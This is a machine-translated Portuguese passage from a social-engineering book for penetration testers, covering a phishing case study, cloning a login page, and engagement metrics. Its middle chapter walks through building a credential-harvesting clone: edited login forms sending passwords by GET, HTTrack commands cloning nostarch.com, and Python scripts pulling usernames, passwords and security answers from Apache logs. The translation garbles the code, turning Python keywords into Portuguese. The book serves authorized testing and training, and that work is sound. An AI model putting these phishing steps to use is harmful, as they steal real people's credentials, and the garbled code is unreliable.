passaram. Custo total: $ 22,88.
No 29º dia da assinatura, entrei no e-mail do qual
Enviei o phishing para verificar se não havia nada de valor ali e cancelei o
serviço. Um funcionário adicionou esse endereço de e-mail a vários e-mails e
listas de discussão altamente confidenciais. Impagável. Avisei imediatamente
meu ponto de contato e encaminhei os e-mails para ele. Escrevi o relatório e
encerrei o noivado.
Esse grande phishing poderia ter sido desastroso se eu fosse um verdadeiro mau
ator e me custou menos de US$ 25.

104 Capítulo 7
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Com base nas informações que forneci, como esse ataque poderia ter sido
mitigado ou evitado?

•A empresa deveria ter treinado todos os usuários sobre como avaliar e-mails em
busca de contexto suspeito. Ensine-os a pedir ajuda à segurança em caso de
dúvida, especialmente quando URLs encurtados estão envolvidos.
•A empresa deveria ter implementado o Proofpoint ou uma solução similar para
adicionar a palavra [Externo] ao início da linha de assunto do e-mail.

•A empresa deveria ter funcionários treinados para avaliar as URLs das páginas que
navegam.
•Uma melhor coordenação poderia ter ocorrido entre as equipes de segurança e
de rede. Melhores comunicações poderiam ter evitado que o líder da rede
enviasse um e-mail à empresa sobre o e-mail, chamando assim a atenção
para o e-mail, em vez de removê-lo silenciosamente da fila da caixa de entrada
antes do e-mail.
•Deveria ter havido um melhor plano de resposta a incidentes para ataques de
engenharia social.

Conclusão
Engajamentos de engenharia social bem-sucedidos exigem planejamento e
configuração técnica significativos. Este capítulo abordou como configurar um ataque
de phishing que coletasse credenciais de usuários sem ser pego. Primeiro você
configurou um droplet DigitalOcean, protegeu o droplet e configurou o firewall do
droplet. Em seguida, você aprendeu as considerações para configurar um servidor
de e-mail realista.
Você terá que tomar muitas decisões no processo de phishing. Discutimos a
melhor forma de selecionar um domínio para sua conta de e-mail, bem como para a
página inicial para a qual você direcionará os usuários. Também discutimos
complementos como pixels de rastreamento, serviços automatizados de phishing,
suporte HTTPS e encurtadores de URL. Igualmente importante do lado não técnico,
discutimos o momento do seu ataque.
No próximo capítulo, você configurará um clone realista de um site legítimo que
poderá ser usado para coletar credenciais de usuários e informações confidenciais — ou
para algum outro propósito desonesto.

Phishing 105
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

8
CLONANDO A PÁGINA AL ANDING

As vítimas que clicam em um link em seu e-mail de


phishing devem chegar a uma página da web confiável.
Se o seu ataque atingir esse estágio, a criação de
uma landing page útil e realista se tornará o aspecto mais
importante do engajamento. Dependendo do nível de dificuldade
solicitado pelo cliente, isso pode variar desde HTML no nível do
MySpace até um clone quase idêntico de um site que o
funcionário visita diariamente.
Neste capítulo, examinaremos um site clonado para mostrar que tipo de
alterações você terá que fazer no site original. Em seguida, clonaremos duas
páginas da web do site No Starch Press usando HTTrack, uma ferramenta de linha
de comando do Linux. Você pode hospedar essas páginas clonadas no servidor
Apache configurado no Capítulo 7 e, em seguida, criar um link para esse site no
e-mail enviado aos funcionários do seu cliente.
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Um exemplo de site clonado


Vamos dar uma olhada em um site falso da SurveyMonkey, que eu clonei por volta de 2017.
Este site simples possui três páginas. Primeiro, solicita às vítimas que preencham um
formulário de login. Depois que as vítimas clicam no botão Enviar, elas são levadas a um
formulário de redefinição de senha, que faz algumas perguntas invasivas. A página final informa
ao usuário que ocorreu um erro ao redefinir sua conta. Vamos explorar essas páginas com mais
profundidade para que você possa entender melhor essa arquitetura.

A página de login
A Figura 8-1 mostra a primeira página, denominada index.html.

O logotipo da empresa
alvo pode ser
incluído para maior realismo.

Figura 8-1: A primeira página do site clonado (index.html)

Visualmente, a vítima pode captar algumas pistas para identificar esse phishing.
Observe que falta o cadeado verde indicando o uso de HTTPS, pois eu o renderizei
diretamente do arquivo para o meu navegador sem usar o Apache. Em um phishing real, o
URL não teria o surveymonkey legítimo.
com/ <caminho para pesquisa> , embora possa mencionar o SurveyMonkey em algum lugar
para enganar os usuários. Além disso, a SurveyMonkey normalmente não coloca logotipos na
página de login. Caso contrário, será difícil detectar esse phishing; o título mostrado na guia
do navegador é preciso e passar o mouse sobre os links Inscrever-se ou Empresa credenciada
BBB mostrará os links reais.
A Figura 8-2 nos mostra a primeira página (index.html) do nosso site, à qual nos
conectamos usando HTTPS sem erros. Esta é a página inicial para a qual enviaríamos as vítimas
e onde tentaremos coletar os endereços de e-mail e senhas das vítimas antes de passá-los
para a página questions.html .

108 Capítulo 8
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 8-2: Versão HTTPS do site (mostrando uma classificação de segurança clara)

Se você revisar o código-fonte HTML desta página, verá que ele é quase idêntico
ao código do site original. Você pode encontrar o código-fonte das páginas que clonamos,
bem como analisadores escritos em Python para as informações que podem ser
inseridas, em http:// sm-phish.seosint.xyz/.
Em index.html, alterei as linhas de código que definem o formulário de login e
seus campos. Também editei o código para que, quando os usuários enviarem o
formulário, sejam redirecionados para questions.html:

<form id="sign_in_form" class="sign-in-form" 1action="Questions.html" enctype="application/x www-form-


urlencoded" 2"method=get">
<fieldset form="sign_in_form"> <label for="username">Insira
seu nome de usuário:</
label> <3input id="username" name="username" value="" autocorrect="off" autocapitalize="off"
class="notranslate 4textfield required" maxlength="50" size="20" foco automático="" 5type="texto">
<span> <label
for="password">Digite
sua senha:</label>
<6input id="senha" name="senha" class="notranslate textfield obrigatório" size="20" autocomplete="off"
type="senha">
<span>
<div>
<input id="remember_me" name="remember_me" type="checkbox">
<label class="remember-me" for="remember_me">Lembre-se de mim!</label>
</div>
&nbsp;<a href="Questions.html">
<button class="translate btn btn-large btn-arrow btn-arrow-right btn-arrow-large-horiz btn arrow-large-right-
dark yellow shadow" type="submit">Fazer login <span></span </botão></a>

Clonando uma página de destino 109


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Eu defini a ação 1 para informar ao sistema que ele deveria passar para a
página questions.html após o usuário enviar o formulário. A seguir, defini o método HTTP
como get 2 para capturar dados de cada um dos campos do formulário. (Uma
explicação completa dos métodos HTTP está fora do escopo deste livro, mas você pode
encontrar muitos recursos que cobrem o tópico on-line.) Em seguida, criei os campos
input-id 3, campo de texto obrigatório 4 e tipo 5, que geram as caixas que será exibido
na tela para a vítima usar.
Você deve entender que HTTP GET não é um método seguro. Para

evitar que um adversário malicioso fora da rede do cliente a explore, garantir que um
firewall esteja instalado e que os únicos endereços IP permitidos sejam o seu e o do cliente.

Dito isso, usar o método HTTP GET para registrar entradas tem uma série de
vantagens. Primeiro, essa tática não requer um banco de dados backend, porque os dados
são armazenados diretamente no arquivo de log do Apache, localizado em /var/ log/
apache2/ access.log. Além disso, se a organização alvo monitorar seu tráfego de rede,
ela deverá receber alertas quando códigos como password=something
o parâmetro 6 ocorre em texto não criptografado, fornecendo à organização uma pista
de que está sendo atacada.
Passar credenciais de texto não criptografado em URLs ou outros canais
inseguros é um problema de segurança. Algumas plataformas codificam este texto, o
que também não é seguro; mesmo que o código usasse um hash como parâmetro, um
invasor com a capacidade de interceptar esse tráfego poderia realizar um ataque pass-
the-hash, no qual um adversário rouba a representação criptográfica de uma senha (o hash)
e a utiliza diretamente para acessar recursos sem saber a senha.

Embora este formulário pareça um login, não é. Apenas captura a entrada;


não o valida. Desde que cada campo contenha pelo menos um caractere, o usuário
passará para a próxima página. Se esse código estivesse realmente realizando
autenticação, seria considerado inseguro, pois o site permitiria a entrada de todos.

Adversários maliciosos podem usar essas senhas coletadas em diversos ataques. Por
exemplo, eles poderiam tentar espalhar senhas tentando usar uma senha em vários logins
associados ao funcionário e ao alvo.

A página de perguntas sensíveis


A Figura 8-3 mostra a segunda página, que solicita informações confidenciais aos usuários
sob o pretexto de recuperar sua conta.
A página questions.html usa o mesmo código-fonte de index.html. Aqui,
Substituí endereços de e-mail e campos de formulário de senha por quatro perguntas
de redefinição de senha. Também substituí o campo que leva os usuários a questions.html
com erro.html.

110 Capítulo 8
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 8-3: A segunda página do site clonado, com os parâmetros de index.html passados na URL (questions.html)

A página de erro
A página final (Figura 8-4) informa aos usuários que ocorreu um erro.

Figura 8-4: A tela de erro do phishing da SurveyMonkey

Clonando uma página de destino 111


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Você pode usar esta página final para diversos fins. Por exemplo, muitas vítimas podem se
perguntar por que ocorreu um erro e tentar o processo novamente, inserindo novas credenciais na
tentativa de fazê-lo funcionar. As vítimas também podem denunciar este problema ao departamento
de TI, o que poderá pôr fim ao envolvimento.
O HTML desta página contém um loop infinito que faz com que a página
para recarregar-se para sempre. Quando escrevi esse código, por volta de 2017, os navegadores
deixavam esse loop rodar para sempre. Versões de navegadores lançadas após 2020 podem pará-lo
Depois de algum tempo.

Coletando as informações
O loop causa um problema. Cada iteração dele grava uma linha no arquivo de log, o que torna a
coleta manual de senhas e outras informações confidenciais do arquivo um desafio. Em vez disso,
você pode usar alguns scripts Python para extrair apenas informações relevantes. Você pode
encontrar esses scripts em http:// sm phish.seosint.xyz/.

Nos logs, as informações brutas da transação de “login” incluem o seguinte:

<Endereço IP> - - [17/Fev/2021:04:04:12 +0000] "GET /Questions.html?


username=Testing_Username&password=password123 HTTP/1.1" 200 11590
"https://<Endereço IP>/Index.html" "Mozilla/5.0 (<informações do agente do usuário>) <informações do agente do
usuário>) (KHTML, como Gecko) <informações do agente do usuário>)"
<Endereço IP> - - [17/Fev/2021:04:04:36 +0000] "GET /Error.html?pet=Dee-Oh
Gee&school=Hogwarts&name=Mom&honeymoon=Tattooine HTTP/1.1" 200 12090 "https:/ /<IP
Endereço>/Questions.html?username=Testing_Username&password=password123" "Mozilla/5.0 (<usuário
informações do agente>) <informações do agente do usuário>) (KHTML, como Gecko) <informações do agente do usuário>) "

Cada linha fornece informações enviadas por um usuário. Ele nos informa a página na qual os
dados foram inseridos (questions.html ou error.html), bem como o ID e o valor do campo, como
pet=Dee-Oh-Gee&.
O script data_parser_index.py abrirá o arquivo de log, encontrará cada campo que solicitamos
aos usuários na página de login e, em seguida, gerará o campo como uma matriz:

#!/usr/bin/env python3

importar re

user_pass = re.compile(r"\S.+nomedeusuário\=(?P<nome_usuário>\S.+)\&(?P<senha>\S.+)\sHTTP\S.+")
log = open("/var/log/apache2/access.log", "r")
matriz = []

para l no log:
você = user_pass.findall(l)
se você:

imprimir (você)
outro:
saída

112 Capítulo 8
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Importamos o módulo de expressão regular do Python e, em seguida, criamos uma


expressão regular que analisará o nome de usuário e a senha de cada linha que atenda
aos critérios do arquivo de log. Depois de abrirmos o arquivo, um loop for itera em cada linha
do arquivo de log, exibindo todas as correspondências.
Em seguida, o script data_parser_questions.py executa as mesmas tarefas que o script
script anterior, exceto que extrai a entrada do arquivo questions.html :

#!/usr/bin/env python3

importar re

perguntas = re.compile(r"\S.+pet\=(?P<pet>\S.+)\&school\=(?P<school>\S.+)\&name\=(?P<mãe
>\S.+)\&\
lua de mel\=(?P<lua de mel>\S.+)\sHTTP\S.+")
log = open("/var/log/apache2/access.log", "r")
matriz = []

para l no log:
você = perguntas.findall(l)
se você:

imprimir (você)
outro:
saída

Depois de usarmos os scripts para analisar os dados, devemos ter as informações


informação que precisamos. O script data_parser_index.py produz o nome de usuário e a
senha:

root@ossie:~# ./data_parser_index.py
[('Testing_Username', 'password=password123')]

O script data_parser_questions.py produz as perguntas de redefinição de senha de


questions.html:

root@ossie:~# ./data_parser_questions.py [('Dee-Oh-


Gee', 'Hogwarts', 'Mãe', 'Tattooine')]

Clonando um site
Agora você clonará um site. Para os fins deste exercício, você criará uma cópia simples,
mas quase idêntica, de duas páginas da web da No Starch Press. A instância do Apache
que você criou no capítulo anterior precisa de algum código para hospedar. Você precisa de
algo para renderizar na tela do usuário; caso contrário, você não fará nada além de medir
cliques.

Clonando uma página de destino 113


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Encontrando as páginas de login e de

usuário Vamos supor que você esteja almejando uma empresa cujos funcionários, como você
sabe através de seus esforços na OSINT, compram livros da No Starch Press com frequência.
Para roubar suas credenciais do site, você copiará a página de login do nostarch.com . Visite esta
página agora ou encontre-a usando o robots.txt, um arquivo que informa aos robôs de indexação
dos mecanismos de pesquisa da Internet o que indexar (e o que não indexar). Freqüentemente
usamos esse arquivo na coleção OSINT para identificar diretórios que não podem ser encontrados
usando mecanismos de busca convencionais.
Você pode perceber que clicar no botão Login leva você a uma nova página da web: https://
nostarch.com/ user. Vamos clonar a página principal e esta página.

Clonando as páginas usando HTTrack


Você usará a ferramenta de cópia de sites HTTrack para realizar essa clonagem.
Esta ferramenta de linha de comando é nativa do Kali e você pode instalá-la em qualquer sistema
Linux. Por exemplo, use o seguinte comando para instalá-lo no Ubuntu e Debian:

sudo apt-get install httrack

A ferramenta possui várias opções úteis. A opção –mirror faz uma cópia quase idêntica de um
site específico. A opção –update atualiza a cópia de um site existente; por exemplo, alterando o
código, links, rastreadores ou campos subjacentes. A opção –continue continua espelhando um site
se o processo de espelhamento foi interrompido ou interrompido. A opção –skeleton copia apenas
os arquivos HTML do site. A opção -O permite especificar o diretório de saída.

Qual operador você deve usar depende da complexidade do site


você planeja clonar, além da complexidade desejada do seu envolvimento de phishing.
Quanto maior e mais complexo o site, mais tempo leva para cloná-lo, o que aumenta as
oportunidades para essa organização detectar e bloquear sua clonagem. Se o cliente não se importa
se você faz barulho ou deseja uma cópia robusta, ou se você tiver tempo suficiente, faça o
processo de espelhamento completo. Caso contrário, a opção somente HTML deverá ser
suficiente. Você usará essa opção aqui.

Para clonar a página de login do No Starch, digite o seguinte comando:

sudo httrack --skeleton https://nostarch.com/user/

A Figura 8-5 mostra a página clonada. Você pode visualizá-lo no diretório em que executou o
HTTrack. Navegue até a pasta apropriada para o domínio e depois para a estrutura de diretórios.
Nesse caso, você está vendo index.html de nostarch.com.

114 Capítulo 8
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 8-5: Um clone da página de login do No Starch

Compare o clone com o site original (Figura 8-6).

Figura 8-6: A verdadeira página de login do No Starch

A única diferença que você deve notar é o URL.

Clonando uma página de destino 115


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Alterando o código do campo de login

Do jeito que está agora, qualquer coisa inserida no site clonado redirecionará o usuário para o
site real. Você precisa alterar esse comportamento para os campos de login.
Primeiro, vamos visualizar este código. A maneira mais simples é carregar o site
real e identificar os campos de login no código usando o recurso Inspecionar Elementos
do seu navegador. Para fazer isso, clique com o botão direito em qualquer parte da página e
selecione Inspecionar. Agora passe o mouse sobre os campos de login e o código à direita
deverá destacar esses elementos.
Neste caso, o formulário de login aparece. Aqui está o formulário da página original:

<form id="sign_in_form" class="sign-in-form" action="Questions.html" enctype="application/x www-form-


urlencoded"1"method=post""method=get"><fieldset formulário ="sign_in_form"> <label for="nome de
usuário">Digite
seu nome de usuário:</label> <input id="username" name="username" value="" autocorrect="off"
autocapitalize="off" class="notranslate textfield obrigatório" maxlength="50" size="20" foco automático=""
type="text">2
<span> <label for="password">Digite
sua senha:</label> <input id="password" name="password" class="notranslate textfield obrigatório" size="20"
autocomplete="off" type="password"> <span>3
<div> <input id="remember_me" name="remember_me" type="checkbox"> <label class="remember-me"
for="remember_me">Lembre-se de mim!</label> </div>
&nbsp;<a href="Questions.html"><button class="translate btn btn-large btn-arrow btn-arrow-right
btn-arrow-large-horiz btn-arrow-large-right-dark yellow shadow" type="submit">Fazer login <span></
span></button></a>
</fieldset>
</form>

Assim como o formulário de login que discutimos anteriormente, este arquivo contém o nome de usuário 2
e senha 3 campos, e a captura funciona da mesma forma.
Após uma inspeção mais aprofundada, você pode ver que este site usa o método
HTTP POST em vez de GET, o que significa que você precisará reescrever a linha 1 para
poder roubar credenciais na URL, gravando-as no log do Apache Access. HTTP POST e
HTTP GET são métodos para obter informações do servidor para o cliente. A principal
diferença é que o método GET carrega os parâmetros na URL, o que é menos seguro que
os métodos HTTP POST, que utilizam o corpo da mensagem para transferir os parâmetros.

Vamos aplicar isso ao nosso login No Starch e fazer algumas alterações para que
você pode alterar o tipo para GET e capturar as credenciais conforme planejado.
O arquivo que você está procurando está no diretório nostarch.com/ user em index.
HTML. Você pode encontrar o arquivo usando o método Inspect Element ou baixando e
revisando manualmente o código-fonte.
Aqui está a parte do código existente que tem o formato (que pode ser
encontrado pesquisando pela forma da palavra):

<form action="https://nostarch.com/user/" method="post" id="user-login" aceita


charset="UTF-8"><div><div class="form-item form- item-openid-identifier formulário-tipo-campo de texto
form-group"> <label class="control-label" for="edit-openid-identifier">Faça login usando
OpenID</label>

116 Capítulo 8
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

<input class="form-control form-text" type="text" id="edit-openid-identifier"


name="openid_identifier" value="" size="60" maxlength="255" /><class div ="help-block"><a href="https://
openid.net/">O que é OpenID?</a></div></div><div class="form-item form-item name form-type-textfield
form-group"> <label class="control-label" for="edit-name">Nome de usuário ou endereço de e-mail <span
class="form-required" title="Este campo é obrigatório."> *</label> <input
class="form-control form-text
require" title="Digite seu nome de usuário ou endereço de e-mail." data-toggle="tooltip" type="text"
id="edit-name" name="name" value="" size="60" maxlength="60" /></div><div class="form -item form-item-
pass form-type-password form-group"> <label class="control-label" for="edit-pass">Senha <span class="form-
required" title="Este campo é obrigatório.">*</label> <input class="form-control form-text
obrigatório" title="Digite a senha que acompanha seu
nome de usuário." data-toggle="tooltip" type="password" id="edit-pass" name="pass" size="60"
maxlength="128" /></div><input type="hidden" name=" form_build_id" value="form--q4hdYs
iZQz_R7O2aCls66if7f2BqLo2k1ZftdGkfs" /> <input type="hidden" name="form_id" value="user_login" /
> <input type="hidden" name="openid.return_to"
value="https ://nostarch.com/openid/authenticate?destination=user" /
> <ul class="openid-links"><li class="openid-link"><a
href="#openid-login">Fazer login usando OpenID</a></li> <li class="user-link"><a
href="#">Cancelar login do OpenID</a></li> </ul><div class="form- ações form-wrapper form-group"
id="edit-
actions"><button type="submit" id="edit-submit" name="op" value="Log in"
class="btn btn-primary form- enviar ícone antes"><span class="icon glyphicon glyphicon-log-in"
aria-hidden="true"> Faça login</button> </div></div></form>

Agora, faça as alterações mostradas em negrito:

1<form action="Error.html" method="get" id="user-login" aceita-charset="UTF-8"><div> <div


class="form-item form-item-openid-identifier form-type-textfield form-group"> <label class="control-
label" for="edit-openid-identifier">Faça login usando OpenID</label> <input class="form-control form-
text" type ="text" id="edit-openid-identifier" name="openid_identifier" value="" size="60"
maxlength="255" /> <div class="help-block"> <a 2href=" Erro .html">O
que é OpenID?</a></div> </
div> <div class="form-item form-item-name form-type-
textfield
form-group"> <label class="control- label" for="edit-name">Nome de usuário ou
endereço de e-mail <span class="form require" title="Este campo é obrigatório.">*</label> <input
class="form-control form -text obrigatório" title="Digite seu nome de
usuário ou endereço de e-mail." data-toggle="tooltip" type="text" id="edit-name" name="name"
value="" size="60" maxlength="60" /> </div> <div class="form -item form-item-pass form-type-password form-
group"> <label

class="control-label" for="edit-pass">Senha <span class="form-required" title="Este


campo é obrigatório.">*</label> <input class="form-control form-text obrigatório" title="Digite a senha que
acompanha seu nome de usuário." data-
toggle="tooltip" type="password" id="edit-pass" name="pass" size="60" maxlength="128" /> </div>3<input
type="hidden" name= "form_build_id" value="form--q4hdYs-iZQz_ R7O2aCls66if7f2BqLo2k1ZftdGkfs" />
<input type="hidden"
name="form_id" value="user_login" /> <input type="hidden" name="openid.return_to" valor
="Error.html"/> <ul class="openid-
links"><li class="openid-link"><a href="#openid-login">Faça login
usando

Clonando uma página de destino 117


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

OpenID</a></li>
<li class="user-link"><a href="#">Cancelar login do OpenID</a></li>
</ul><div class="form-actions form-wrapper form-group" id="edit-actions">
<button type="submit" id="edit-submit" name="op" value="Login" class="btn btn-primary
ícone de envio de formulário antes">
<span class="icon glyphicon glyphicon-log-in" aria-hidden="true">Fazer login</button>
</div></div></form>

Primeiro você altera a ação 1 do formulário e a tag href 2, o que nos permite redirecionar o tráfego
desta página para nosso arquivo error.html. No 3 você pode ver a parte do código que precisa remover
para que sua página falsa não redirecione a vítima para a página real.

Você terá que criar sua própria versão do arquivo error.html mencionado neste arquivo, mas isso
não é difícil de fazer. Você poderia fazer algo tão simples quanto copiar o arquivo existente e substituir o
formulário por uma instrução que diga algo como esta linha:

<h5> Desculpe, mas nosso site está em manutenção. Verifique novamente em 24 horas. Lamentamos
qualquer inconveniente que isso possa causar.</h5>

Você pode encontrar um exemplo de arquivo error.html para uma página da SurveyMonkey na
Repositório GitHub (http://sm-phish.seosint.xyz/).
Agora teste esta cópia clicando duas vezes no ícone em um visualizador de arquivos ou navegando
até o host em um navegador (Figura 8-7).

Figura 8-7: Exibindo uma mensagem de erro personalizada em um clone da página de registro do No Starch

118 Capítulo 8
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Adicionando as páginas da Web ao servidor Apache


Depois de confirmar que funciona, mova seu site para o diretório raiz do Apache. Será
aqui que teremos o certificado SSL/TLS instalado e o DNS apontando. Para fazer
isso, você precisará usar o método de transferência de arquivos usado no Capítulo 7
para mover cada arquivo HTML para /var/ www/ public_html.
Quaisquer conexões com os sites serão registradas no Access.log, e é aí que você
coletará os dados fornecidos pelas vítimas.
Aqui está o Access.log para este evento:

<Endereço IP> - - [17/Fev/2020:04:04:12 +0000] "OBTER


/error.html?openid_identifier=test&name=test&pass=test HTTP/1.1" 200 11590 "https://<IP
Endereço>/index.html" "Mozilla/5.0 (<informações do agente do usuário>) <informações do agente do usuário>)
(KHTML, como Gecko) <informações do agente do usuário>) "

Conclusão
Configurar páginas de phishing não é muito difícil. Porém, pode ser entediante e
determinará seu sucesso. A qualidade de suas páginas de destino de phishing
pode fazer a diferença entre um phishing totalmente malsucedido, mesmo contra uma
empresa sem conhecimento de segurança, e a repetição de negócios por meio de um
relacionamento colaborativo.
Outra coisa a ter em mente é que as páginas devem ser tão realistas quanto o seu
cliente deseja. Se eles quiserem que este exercício seja 3 em 10, você pode deixar de
lado o suporte HTTPS, incluir links quebrados ou usar uma gramática ruim. Se pedirem
um 9, jogue tudo e a pia da cozinha neles. Seja o melhor engenheiro social de um
estado-nação que você puder ser!

Clonando uma página de destino 119


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

9
DETECÇÃO , MEDIÇÃO,
E RELATÓRIOS

A peça mais valiosa de um trabalho de


engenharia social é também a mais
frequentemente mal direcionada ou
ignorada. Neste capítulo, você aprenderá sobre
as fases de detecção, medição e geração de relatórios do
trabalho. Freqüentemente, parte da ajuda à organização
cliente é tornar-se detectável. Na fase de medição, você
deve obter estatísticas sobre suas taxas de sucesso, bem
como outros indicadores-chave de desempenho. Você
usará essas estatísticas para gerar um relatório profissional e compre
Discutiremos as muitas maneiras de medir o resultado de um engajamento.
Isso envolve considerar as diversas métricas que podem tornar seus dados
compreensíveis para seus clientes, sendo que as mais úteis vão além de
simplesmente indicar quantos e-mails abertos ou links clicados a campanha
solicitou. Por fim, explicarei como redigir um relatório útil e envolvente que os
executivos possam realmente ler.
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Detecção

Embora os engenheiros sociais queiram, em parte, obter acesso não autorizado, os


éticos também deveriam esperar ser detectados. Os clientes não pagam para você
intimidar seus funcionários. Em vez disso, eles desejam compreender os pontos fracos
de sua empresa, juntamente com conselhos para superá-los.
Portanto, você deve aceitar um meio termo: desafiar seus objetivos, mas
fazê-lo de maneira justa. Parte desse meio consiste em fazer com que o cliente treine a
equipe, o que está fora do seu controle. A terceira seção deste livro aborda isso. A
parte que você pode mudar é a estrutura dos seus compromissos. Ao usar ataques
com vários níveis de dificuldade, você pode dar aos funcionários a chance de detectá-lo e
denunciá-lo.
Ao definir o escopo do trabalho, você deve chegar a um entendimento claro com o
cliente sobre o quão furtivo deve ser. Se você estiver realizando esse ataque para iniciar
um programa de conscientização, provavelmente desejará ser extremamente furtivo ou
incrivelmente barulhento, dependendo da maturidade da organização com a qual está
trabalhando (embora a decisão final caiba ao cliente).
Uma organização madura pode ser capaz de lidar com uma operação secreta, mas ainda
assim querer uma operação barulhenta, ou pode ser imatura demais para obter valor com
operações secretas, mesmo que o gestor escolha esse caminho.
Se você estiver operando furtivamente, poderá obter uma visão precisa do que um
adversário sofisticado poderia realizar dentro de uma organização. As operações secretas
podem constituir uma boa referência para a compreensão dos riscos se os motivos forem
bons. As organizações que mais podem beneficiar disto são aquelas com programas
de sensibilização e formação já implementados. Muitas vezes, esses compromissos
são mais adequados para serem realizados como parte de uma campanha de emulação
adversária, como um time vermelho ou, em menor grau, um teste de penetração.
Executar tais compromissos por si só também é aceitável.
Os testes abertos são um excelente primeiro ponto de contato para uma organização que está
inteiramente novo na emulação adversária e na engenharia social. Se o objetivo da
emulação contraditória for puramente conformidade, as operações abertas podem ser
a melhor solução e economizar muito tempo para você e o cliente.

Medição

Para avaliar o sucesso do seu engajamento, você precisa usar métricas. Mas quais
métricas são importantes? Como você os mede? Você precisa fazer um curso de
estatística ou obter um diploma em ciência de dados?
Ter algum conhecimento sobre estatística ajudará e, em certas situações – por
exemplo, se você quiser avaliar quais departamentos de uma empresa foram vítimas de
ataques de engenharia social com mais frequência, ou quais esquemas e horários foram
mais eficazes – compreender os conceitos de ciência de dados como regressão e análise
de cluster certamente não farão mal. Na maioria dos casos, porém, este contexto não é
de forma alguma necessário. Lembre-se também de que, se você planeja fazer tal
pesquisa, precisará de um conjunto de dados substancial (milhares de e-mails de phishing,
senão milhões) e, mais importante, do consentimento do cliente.

122 Capítulo 9
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Seleção de Métricas
Ao selecionar as métricas, tente ser o mais prático possível. O que poderia colocar a
organização cliente na metade superior da primeira página do jornal local, acima da dobra? O
que poderia causar problemas legais? Na maioria das vezes, simplesmente abrir um e-
mail não causará um resultado negativo, então essa métrica pode não ser muito útil para
medir. Clicar em links, fornecer informações ou deixar de denunciar ter sido vítima causa
consequências negativas.
Embora você possa ter suas próprias ideias sobre quais métricas se preocupar, saber
quais métricas o cliente considera importantes também é fundamental.
A partir deste ponto, você pode organizar os dados conforme necessário para ajudar o
cliente a entendê-los.

Razões, medianas, médias e desvios padrão


Para apresentar os dados de forma significativa, você deve saber como calcular os seguintes
valores: proporções, medianas, médias e desvios padrão. As operações necessárias aqui
requerem um mínimo de 30 pontos de dados para serem estatisticamente significativos.

As proporções, colocadas em linguagem comum, informam “quantos X ocorrem em Y”


como uma porcentagem. Em outras palavras, se você enviar um phishing para 100 pessoas e
19 pessoas clicarem, você terá 19 em 100 – ou 19 por cento – de chance de alguém clicar no
link (também chamada de taxa de cliques) .
A mediana é o ponto de dados mais central para valor. Se você alinhar seu
pontos de dados do menor para o maior, a mediana seria equidistante de ambas as
extremidades da linha. Por exemplo, suponha que você realizou três tentativas de phishing
em um cliente com 100 usuários. O primeiro envolvimento teve 62 usuários vítimas. O
segundo tinha 34 e o terceiro 19. Vamos colocar esses dados em ordem, do menor para o
maior. Se você gosta de programação, pense em um array ordenado: [19, 34, 62]. A mediana
é 34, porque é o valor intermediário.

Por outro lado, a média é a média de todos os pontos de dados. Usando os mesmos três
compromissos, você poderia somar todos os três valores e dividir o resultado por 3 (já que
são três valores), obtendo uma média de 38,33.
Para falar do padrão como um todo, use o desvio padrão, a medida da variação de um
conjunto de valores. Simplificando, o desvio padrão fornece uma medida de até que ponto
cada valor difere da média. Eu poderia aborrecê-lo com a equação real, mas uma
observação positiva é que o Excel e a maioria dos aplicativos de planilha irão calculá-la
para você. Um desvio padrão baixo significa que os pontos de dados no conjunto são mais
semelhantes do que se o desvio padrão fosse alto.

Ter esses dados ajudará o cliente a compreender o estado geral de uma organização
em termos do comportamento de seus funcionários. Por exemplo, se você tiver o conjunto
de dados 1, 1, 1, 1, 5, 7, 24, poderá gerar os seguintes valores:

• Mediana: 1
• Média: 5,714
•Desvio padrão: 8,420

Detecção, Medição e Relatórios 123


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

A partir dessas estatísticas, você pode generalizar, para o cliente, o desempenho


de seus funcionários na prova. Por exemplo, o desvio padrão de 8,420 neste exemplo
mostra que o conjunto de números é diverso, provavelmente indicando que as pessoas
se comportaram de forma muito diferente umas das outras. Este desvio padrão faz sentido
se você voltar aos dados originais e considerar a grande diferença entre o número mais
alto, 24, e o próximo número mais alto, 7. Se mudarmos 24 para 12, reduzindo a variação
no conjunto de dados, o desvio padrão diminui significativamente, para 4.281.

O número de vezes que um e-mail é aberto

Aberturas é uma métrica relativamente secundária. Se você usá-lo em conjunto com


cliques e entrada de dados em sites de phishing, poderá obter informações mais úteis, como
uma proporção que ilustra a taxa na qual funcionários não técnicos podem identificar e-mails
de phishing por linha de assunto. Ainda assim, os clientes muitas vezes se concentram apenas
no número de aberturas. Eu sempre tento desencorajar isso.
Os e-mails devem ser abertos e, embora alguns possam conter malware,
o uso dessa métrica pode fazer com que os usuários comecem a evitar e-mails legítimos.
Se o e-mail contém malware deve ser responsabilidade das equipes de administração e
segurança de e-mail, que devem monitorar os e-mails recebidos em busca de anexos.
Embora os usuários devam se comprometer a fazer sua parte para manter a segurança
de uma organização, o contador de uma empresa não é um especialista em segurança da
informação ou em malware. Se os ataques de phishing usam linhas de assunto realistas e
